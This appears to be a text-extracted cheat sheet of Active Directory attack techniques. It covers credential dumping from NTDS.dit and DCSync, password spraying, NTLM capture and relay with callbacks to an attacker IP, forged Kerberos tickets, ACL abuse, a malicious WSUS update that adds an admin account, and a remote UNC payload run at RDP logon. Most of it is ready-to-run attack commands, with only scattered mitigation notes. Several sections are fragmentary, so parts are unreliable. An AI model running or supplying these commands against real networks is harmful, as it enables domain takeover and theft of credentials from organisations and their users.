Then import the zip/json files into the Neo4J database and query them.
root@payload$ apt install bloodhound
# start BloodHound and the database
root@payload$ neo4j console
# or use docker
root@payload$ docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/bloodhound neo4j
root@payload$ ./bloodhound --no-sandbox

Mitigations
- Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780
From CVE to SYSTEM shell on DC
Sometimes you will find a Domain Controller without the latest patches installed, use the newest CVE to gain a SYSTEM shell on it. If you have a "normal user" shell on the DC you can also try to elevate your privileges using one of the methods listed in Windows - Privilege Escalation

samAccountName spoofing
During S4U2Self, the KDC will try to append a '$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a ST to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid ST for the domain controller.

Exploit Group Policy Objects GPO
Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
🚩 GPO Priorization : Organization Unit > Domain > Site > Local
GPO are stored in the DC in \\<domain.dns>\SYSVOL\<domain.dns>\Policies\<GPOName>\, inside two folders User and Machine.
If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at Machine\Preferences\ScheduledTasks.
⚠️ Domain members refresh group policy settings every 90 minutes by default but it can locally be forced with the following command: gpupdate /force.

Dumping AD Domain Credentials
You will need the following files to extract the ntds :
- NTDS.dit file
- SYSTEM hive (
C:\Windows\System32\SYSTEM)
Usually you can find the ntds in two locations : systemroot\NTDS\ntds.dit and systemroot\System32\ntds.dit.
systemroot\NTDS\ntds.ditstores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data).systemroot\System32\ntds.ditis the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.
However you can change the location to a custom one, you will need to query the registry to get the current location.
reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database file"
Using ndtsutil
C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
or
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
Using Vshadow
vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
You can also use the Nishang script, available at : https://github.com/samratashok/nishang
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
Using vssadmin
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
Using DiskShadow (a Windows signed binary)
diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset
then:
NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak
Using esentutl.exe
Copy/extract a locked file such as the AD Database
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
Extract hashes from ntds.dit
then you need to use secretsdump to extract the hashes, use the LOCAL options to use it on a retrieved ntds.dit
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
secretsdump also works remotely
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status

Using Mimikatz DCSync
Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data.
# DCSync only one user
mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt
# DCSync all users of the domain

⚠️ If the password is not a confidential data (challenges/ctf), you can use online "cracker" like :
NTDS Reversible Encryption
UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED (0x00000080), if this bit is set, the password for this user stored encrypted in the directory - but in a reversible form.
The key used to both encrypt and decrypt is the SYSKEY, which is stored in the registry and can be extracted by a domain admin. This means the hashes can be trivially reversed to the cleartext values, hence the term “reversible encryption”.
- List users with "Store passwords using reversible encryption" enabled
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
The password retrieval is already handled by SecureAuthCorp/secretsdump.py and mimikatz, it will be displayed as CLEARTEXT.
User Hunting
Sometimes you need to find a machine where a specific user is logged in.
You can remotely query every machines on the network to get a list of the users's sessions.

Password spraying
Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.
The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.
Most of the time the best passwords to spray are :
P@ssw0rd01,Password123,Password1,Hello123,mimikatzWelcome1/Welcome01- $Companyname1 :
$Microsoft1 - SeasonYear :
Winter2019*,Spring2020!,Summer2018?,Summer2020,July2020! - Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
- Empty Password (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)
Kerberos pre-auth bruteforcing
Using kerbrute, a tool to perform Kerberos pre-auth bruteforcing.
Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).

Password of Pre-Created Computer Account
When Assign this computer account as a pre-Windows 2000 computer checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account SERVERDEMO$ would have the password serverdemo.
# Create a machine with default password
# must be run from a domain joined device connected to the domain
djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPWD /PRINTBLOB /NETBIOS evilpc
- When you attempt to login using the credential you should have the following error code :
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT. - Then you need to change the password with rpcchangepwd.py
Reading LAPS Password
Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure.
Determine if LAPS is installed

Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
Extract LAPS password
The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users

Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -Domain "domain.local"
Reading GMSA Password
User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes.
GMSA Attributes in the Active Directory
msDS-GroupMSAMembership(PrincipalsAllowedToRetrieveManagedPassword) - stores the security principals that can access the GMSA password.msds-ManagedPassword- This attribute contains a BLOB with password information for group-managed service accounts.msDS-ManagedPasswordId- This constructed attribute contains the key identifier for the current managed password data for a group MSA.msDS-ManagedPasswordInterval- This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.

Forging Golden GMSA
One notable difference between a Golden Ticket attack and the Golden GMSA attack is that they no way of rotating the KDS root key secret. Therefore, if a KDS root key is compromised, there is no way to protect the gMSAs associated with it.
⚠️ You can't "force reset" a gMSA password, because a gMSA's password never changes. The password is derived from the KDS root key and ManagedPasswordIntervalInDays, so every Domain Controller can at any time compute what the password is, what it used to be, and what it will be at any point in the future.

Pass-the-Ticket Golden Tickets
Forging a TGT require:
- the
krbtgtNT hash - since recently, we cannot use a non-existent account name as a result of
CVE-2021-42287mitigations
The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt NT hash must be used.

"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN
Any valid domain user can request a kerberos ticket (ST) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

Capturing and cracking Net-NTLMv1/NTLMv1 hashes
Net-NTLM (NTLMv1) hashes are used for network authentication (they are derived from a challenge/response algorithm and are based on the user's NT hash.
ℹ️ : Coerce a callback using PetitPotam or SpoolSample on an affected machine and downgrade the authentication to NetNTLMv1 Challenge/Response authentication. This uses the outdated encryption method DES to protect the NT/LM Hashes.
Requirements:
- LmCompatibilityLevel = 0x1: Send LM & NTLM (
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v lmcompatibilitylevel)
Exploitation:
- Capturing using Responder: Edit the
/etc/responder/Responder.conffile to include the magical 1122334455667788 challengeHTTPS = On DNS = On LDAP = On ... ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788 - Fire Responder:
responder -I eth0 --lm, if--disable-essis set, extended session security will be disabled for NTLMv1 authentication - Force a callback:
PetitPotam.exe Responder-IP DC-IP # Patched around August 2021 PetitPotam.py -u Username -p Password -d Domain -dc-ip DC-IP Responder-IP DC-IP # Not patched for authenticated users - If you got some
NTLMv1 hashes, you need to format them to submit them on crack.shusername::hostname:response:response:challenge -> NTHASH:response NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972 - Or crack them with Hashcat / John The Ripper
john --format=netntlm hash.txt hashcat -m 5500 -a 3 hash.txt - Now you can DCSync using the Pass-The-Hash with the DC machine account
⚠️ NTLMv1 with SSP(Security Support Provider) changes the server challenge and is not quite ideal for the attack, but it can be used.
Mitigations:
- Set the Lan Manager authentication level to
Send NTLMv2 responses only. Refuse LM & NTLM
Capturing and cracking Net-NTLMv2/NTLMv2 hashes
If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR, MDNS and NETBIOS requests on the network.

MS08-068 NTLM reflection
NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.
This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.

ESC8 - AD CS Relay Attack
An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

Shadow Credentials
Add Key Credentials to the attribute
msDS-KeyCredentialLinkof the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user. When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.
⚠️ User objects can't edit their own msDS-KeyCredentialLink attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists
Requirements:
- Domain Controller on (at least) Windows Server 2016
- Domain must have Active Directory
Certificate ServicesandCertificate Authorityconfigured - PKINIT Kerberos authentication
- An account with the delegated rights to write to the
msDS-KeyCredentialLinkattribute of the target object

Dangerous Built-in Groups Usage
If you do not want modified ACLs to be overwritten every hour, you should change ACL template on the object CN=AdminSDHolder,CN=System or set "dminCount attribute to 0 for the required object.
The AdminCount attribute is set to
1automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).
Find users with AdminCount=1.
crackmapexec ldap 10.10.10.10 -u username -p password --admin-count
# or
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.10.10.10
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
# or
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
# or
([adsisearcher]"(AdminCount=1)").findall()
AdminSDHolder Abuse
The Access Control List (ACL) of the AdminSDHolder object is used as a template to copy permissions to all "protected groups" in Active Directory and their members. Protected groups include privileged groups such as Domain Admins, Administrators, Enterprise Admins, and Schema Admins.
If you modify the permissions of AdminSDHolder, that permission template will be pushed out to all protected accounts automatically by SDProp (in an hour).
E.g: if someone tries to delete this user from the Domain Admins in an hour or less, the user will be back in the group.
# Add a user to the AdminSDHolder group:
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -PrincipalIdentity username -Rights All -Verbose
# Right to reset password for toto using the account titi
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword
# Give all rights

GenericWrite and Remote Connection Manager
Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.
This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/
⚠️ The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"
$UserObject.SetInfo()
NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.
WriteDACL
To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. Invoke-ACLPwn is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'
-
WriteDACL on Domain:
- On Windows:
# Give DCSync right to the principal identity Import-Module .\PowerView.ps1 $SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword) Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local

WriteDACL on Group
Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1 net group "INTERESTING_GROUP" User1 /add /domainOr
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp # Remove right bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp False
WriteOwner
An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).
Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
Or
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setOwner devil_user1 target_object
This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.
ReadLAPSPassword
An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in the Reading LAPS Password section.
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
Or for a given computer
bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes LAPS_PC$ ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
ReadGMSAPassword
An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.
# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp
Or
python bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes gmsaAccount$ msDS-ManagedPassword
ForceChangePassword
An attacker can change the password of the user this ACE applies to:
- On Windows, this can be achieved with
Set-DomainUserPassword(PowerView module):
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
- On Linux:
# Using rpcclient from the Samba software suite
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd"
# Using bloodyAD with pass-the-hash
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd

Trust relationship between domains
- One-way
- Domain B trusts A
- Users in Domain A can access resources in Domain B
- Users in Domain B cannot access resources in Domain A
- Two-way
- Domain A trusts Domain B
- Domain B trusts Domain A
- Authentication requests can be passed between the two domains in both directions
Enumerate trusts between domains
nltest /trusted_domains
or
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
SourceName TargetName TrustType TrustDirection
---------- ---------- --------- --------------
domainA.local domainB.local TreeRoot Bidirectional
Exploit trusts between domains
⚠️ Require a Domain-Admin level access to the current domain.

Child Domain to Forest Compromise - SID Hijacking
Most trees are linked with dual sided trust relationships to allow for sharing of resources. By default the first domain created if the Forest Root.
Requirements:
- KRBTGT Hash
- Find the SID of the domain
$ Convert-NameToSid target.domain.com\krbtgt S-1-5-21-2941561648-383941485-1389968811-502 # with Impacket lookupsid.py domain/user:password@10.10.10.10 - Replace 502 with 519 to represent Enterprise Admins
- Create golden ticket and attack parent domain.
kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt
Forest to Forest Compromise - Trust Ticket
- Require: SID filtering disabled
From the DC, dump the hash of the currentdomain\targetdomain$ trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using
Mimikatz, adding the SID for the target domain's enterprise admins group to our SID history.
Dumping trust passwords (trust keys)
Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing $ are computer accounts, but some are trust accounts.
lsadump::trust /patch
or find the TRUST_NAME$ machine account hash
Create a forged trust ticket (inter-realm TGT) using Mimikatz
mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /rc4:HASH_TRUST$ /user:Administrator /service:krbtgt /target:external.com /ticket:c:\temp\trust.kirbi

Use the Trust Ticket file to get a ST for the targeted service
.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
Inject the ST file and access the targeted service with the spoofed rights.
kirbikator lsa .\ticket.kirbi
ls \\machine.domain.local\c$

Kerberos Unconstrained Delegation
The user sends a ST to access the service, along with their TGT, and then the service can use the user's TGT to request a ST for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory.
⚠️ Unconstrained delegation used to be the only option available in Windows 2000
SpoolService Abuse with Unconstrained Delegation
The goal is to gain DC Sync privileges using a computer account and the SpoolService bug.
Requirements:
- Object with Property Trust this computer for delegation to any service (Kerberos only)
- Must have ADS_UF_TRUSTED_FOR_DELEGATION
- Must not have ADS_UF_NOT_DELEGATED flag
- User must not be in the Protected Users group
- User must not have the flag Account is sensitive and cannot be delegated
Find delegation
⚠️ : Domain controllers usually have unconstrained delegation enabled.
Check the TrustedForDelegation property.
-
# From https://github.com/samratashok/ADModule PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True} -
$> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10 grep TRUSTED_FOR_DELEGATION domain_computers.grep -
cme ldap 10.10.10.10 -u username -p password --trusted-for-delegation
SpoolService status
Check if the spool service is running on the remote host
ls \\dc01\pipe\spoolss
python rpcdump.py DOMAIN/user:password@10.10.10.10
Monitor with Rubeus
Monitor incoming connections from Rubeus.
Rubeus.exe monitor /interval:1
Force a connect back from the DC
Due to the unconstrained delegation, the TGT of the computer account (DC$) will be saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object.
SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface.
# From https://github.com/leechristensen/SpoolSample
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.
# From https://github.com/dirkjanm/krbrelayx
printerbug.py 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-DC-NAME>
# From https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#gistcomment-2773689
python dementor.py -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-NAME> <VICTIM-DC-NAME>
If the attack worked you should get a TGT of the domain controller.
Load the ticket
Extract the base64 TGT from Rubeus output and load it to our current session.
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
Alternatively you could also grab the ticket using Mimikatz : mimikatz # sekurlsa::tickets
Then you can use DCsync or another attack : mimikatz # lsadump::dcsync /user:HACKER\krbtgt
Mitigation
- Ensure sensitive accounts cannot be delegated
- Disable the Print Spooler Service
MS-EFSRPC Abuse with Unconstrained Delegation
Using PetitPotam, another tool to coerce a callback from the targeted machine, instead of SpoolSample.
# Coerce the callback
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
# Extract the ticket
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
Kerberos Constrained Delegation
Request a Kerberos ticket which allows us to exploit delegation configurations, we can once again use Impackets getST.py script, however,
Passing the -impersonate flag and specifying the user we wish to impersonate (any valid username).
# Discover
$ Get-DomainComputer -TrustedToAuth | select -exp dnshostname
# Find the service
$ Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
Exploit the Constrained Delegation
- Impacket

Impersonate a domain user on a resource
Require:
- SYSTEM level privileges on a machine configured with constrained delegation

Kerberos Resource Based Constrained Delegation
Resource-based Constrained Delegation was introduced in Windows Server 2012.
The user sends a Service Ticket (ST) to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a ST for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

WSUS Deployment
Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network
⚠️ The payload must be a Microsoft signed binary and must point to a location on disk for the WSUS server to load that binary.
- Locate using
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdateorSharpWSUS.exe locate - After WSUS Server compromise:
SharpWSUS.exe inspect - Create a malicious patch:
SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo" - Deploy it on the target:
SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group" - Check status deployment:
SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local - Clean up:
SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group
RODC - Read Only Domain Controller Compromise
If the user is included in the Allowed RODC Password Replication, their credentials are stored in the server, and the msDS-RevealedList attribute of the RODC is populated with the username.
Requirements:
- Impacket PR #1210 - The Kerberos Key List Attack
- krbtgt credentials of the RODC (-rodcKey)
- ID of the krbtgt account of the RODC (-rodcNo)
Exploitation:
# keylistattack.py using SAMR user enumeration without filtering (-full flag)
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
# keylistattack.py defining a target username (-t flag)
keylistattack.py -kdc sever.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX LIST
# secretsdump.py using the Kerberos Key List Attack option (-use-keylist)

PXE Boot image attack
PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.
-
Press [F8] during the PXE boot to spawn an administrator console on the deployed machine.
-
Press [SHIFT+F10] during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.
net user hacker Password123! /add net localgroup administrators /add hacker -
Extract the pre-boot image (wim files) using PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.

DSRM Credentials
Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.
This is the local administrator account inside each DC. Having admin privileges in this machine, you can use mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
# Check if the key exists and get the value
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior
# Create key with value "2" if it doesn't exist
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD
# Change value to "2"
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
Impersonating Office 365 Users on Azure AD Connect
Prerequisites:
-
Obtain NTLM password hash of the AZUREADSSOACC account
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit -
AAD logon name of the user we want to impersonate (userPrincipalName or mail)
elrond@contoso.com -
SID of the user we want to impersonate
S-1-5-21-2121516926-2695913149-3163778339-1234
Create the Silver Ticket and inject it into Kerberos cache:
mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
Launch Mozilla Firefox, go to about:config
network.negotiate-auth.trusted-uris="https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com".
Navigate to any web application that is integrated with our AAD domain. Once at the Office365 logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER.
Linux Active Directory
CCACHE ticket reuse from /tmp
When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions
List the current ticket used for authentication with env | grep KRB5CCNAME. The format is portable and the ticket can be reused by setting the environment variable with export KRB5CCNAME=/tmp/ticket.ccache. Kerberos ticket name format is krb5cc_%{uid} where uid is the user UID.
$ ls /tmp/ | grep krb5cc
krb5cc_1000
krb5cc_1569901113
krb5cc_1569901115
$ export KRB5CCNAME=/tmp/krb5cc_1569901115
CCACHE ticket reuse from keyring
Tool to extract Kerberos tickets from Linux kernel keys : https://github.com/TarlogicSecurity/tickey
# Configuration and build
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache

CCACHE ticket reuse from SSSD KCM
SSSD maintains a copy of the database at the path /var/lib/sss/secrets/secrets.ldb.
The corresponding key is stored as a hidden file at the path /var/lib/sss/secrets/.secrets.mkey.
By default, the key is only readable if you have root permissions.
Invoking SSSDKCMExtractor with the --database and --key parameters will parse the database and decrypt the secrets.
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.
CCACHE ticket reuse from keytab
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
Extract accounts from /etc/krb5.keytab
